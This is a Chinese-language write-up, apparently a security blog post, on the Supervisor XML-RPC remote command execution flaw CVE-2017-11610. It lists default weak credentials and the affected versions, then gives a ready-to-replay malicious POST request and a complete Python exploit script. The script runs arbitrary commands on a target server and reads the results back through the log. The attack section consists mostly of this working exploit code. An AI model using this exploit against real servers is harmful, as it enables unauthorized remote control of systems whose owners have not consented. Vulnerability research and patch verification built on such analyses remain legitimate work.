[TOC]

0.supervisor缺省配置

默认配置文件路径:/etc/supervisor.conf
网站和开放端口:http://localhost:9001
sock目录:unix:////tmp/supervisor.sock
缺省账号密码:
chris/123
user/123

1.Supervisor远程命令执行漏洞分析|CVE-2017-11610

Supervisor是一个用Python写的进程管理工具,可以很方便的用来启动、重启、关闭进程;用于管理后台应用(服务)的工具,方便运维人员使用图形化界面进行管理,是 Linux 服务器管理的效率工具;

漏洞描述:
本次漏洞就出在XML-RPC接口对数据的处理上,默认情况下Supervisor并不会开启这个接口(XML-RPC 在 9001 端口上),相反的是在Supervisor的使用中,很多人喜欢利用web页面来管理,而不是使用上文中提到的supervisorctl命令行工具,使用web页面有一个方便之处,即通过简单配置,使用者可以在其他机器的浏览器上通过网址访问并控制Supervisor,省去非一定在本地配置的麻烦(例如在docker中使用Supervisor,就不用每次进入容器控制Supervisor),开启web访问的配置如下;

利用该漏洞远程POST请求,向Supervisord管理界面提交恶意数据,可以获取服务器操作权限。

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ;

利用条件:

  • Supervisor版本在受影响范围内 (Supervisor version 3.1.2<= x <=Supervisor version 3.3.2)
  • 已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.
  • Supervisor 9001 管理端口可以被外网访问
  • Supervisor 未配置密码或使用弱密码

漏洞利用:
下面举个例子:在这里利用python使用RPC协议给supervisord发一个请求,来看下RPC协议的结构和params、method分别是什么。
抓取的流量如下图:
WeiyiGeek.wirshaek
以此类推,最终的os会是链状结构最后一个方法,然后传入params值,被执行所以如果想攻击利用成功,必须找到一个调用链方法例:

supervisor.supervisord.options.warnings.linecache.os.system

采用burpsuite进行重放:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

WeiyiGeek.burpsuite

Shell反弹:
WeiyiGeek.recv

补充思路:
在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

#!/usr/bin/env python3
#useage:exp.py http://user:[email protected]:9001 whoami
import xmlrpc.client
import sys

target = sys.argv[1]
command = sys.argv[2]

with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])